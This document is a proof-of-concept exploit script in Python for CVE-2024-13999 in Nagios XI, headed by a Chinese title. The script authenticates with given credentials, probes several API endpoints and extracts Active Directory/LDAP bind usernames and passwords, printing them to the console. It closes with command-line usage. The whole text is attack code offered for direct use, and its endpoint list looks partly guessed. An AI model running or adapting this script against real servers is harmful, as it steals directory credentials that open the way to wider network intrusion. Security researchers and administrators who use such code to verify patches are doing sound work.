CVE-2024-13999 Nagios XI AD/LDAP认证令牌信息泄露漏洞

# CVE-2024-13999 PoC - Nagios XI AD/LDAP Token Disclosure # Reference: https://www.vulncheck.com/advisories/nagios-xi-ad-ldap-token-authenticated-information-disclosure import requests import sys def exploit_cve_2024_13999(target_url, username, password): """ Exploit CVE-2024-13999: Nagios XI AD/LDAP Token Information Disclosure This PoC demonstrates how an authenticated user can retrieve AD/LDAP tokens from a vulnerable Nagios XI installation. Args: target_url: Base URL of Nagios XI installation username: Valid Nagios XI username password: Corresponding password Returns: dict: Contains extracted tokens and authentication data """ session = requests.Session() tokens = {} # Step 1: Authenticate to Nagios XI login_url = f"{target_url}/nagiosxi/api/v1/authenticate" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, verify=False, timeout=30) if response.status_code == 200: auth_result = response.json() if auth_result.get('success'): token = auth_result.get('token') print(f"[+] Successfully authenticated to Nagios XI") print(f"[+] Session token obtained: {token[:20]}...") # Step 2: Exploit the AD/LDAP token disclosure # Target endpoint that discloses AD/LDAP credentials exploit_endpoints = [ '/nagiosxi/api/v1/config/ldap?cmd=verify', '/nagiosxi/api/v1/system/adconfig', '/nagiosxi/api/v1/config/authentication' ] for endpoint in exploit_endpoints: exploit_url = f"{target_url}{endpoint}" headers = { 'Authorization': f'Bearer {token}', 'X-Requested-With': 'XMLHttpRequest' } resp = session.get(exploit_url, headers=headers, verify=False, timeout=30) if resp.status_code == 200: data = resp.json() # Check for LDAP/AD credentials in response if 'ldap_bind_dn' in data or 'ad_bind_user' in data: print(f"[+] Sensitive data found at {endpoint}") if 'ldap_bind_password' in data: tokens['ldap_password'] = data['ldap_bind_password'] if 'ad_bind_password' in data: tokens['ad_password'] = data['ad_bind_password'] tokens['bind_dn'] = data.get('ldap_bind_dn', data.get('ad_bind_user')) if tokens: print("\n[!] Exploited AD/LDAP Tokens:") for key, value in tokens.items(): print(f" {key}: {value}") return tokens else: print("[-] No tokens found - target may not be vulnerable or not configured for AD/LDAP") return None else: print(f"[-] Authentication failed: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2024-13999.py <target_url> <username> <password>") print("Example: python cve-2024-13999.py https://nagios.example.com admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] exploit_cve_2024_13999(target, user, passwd)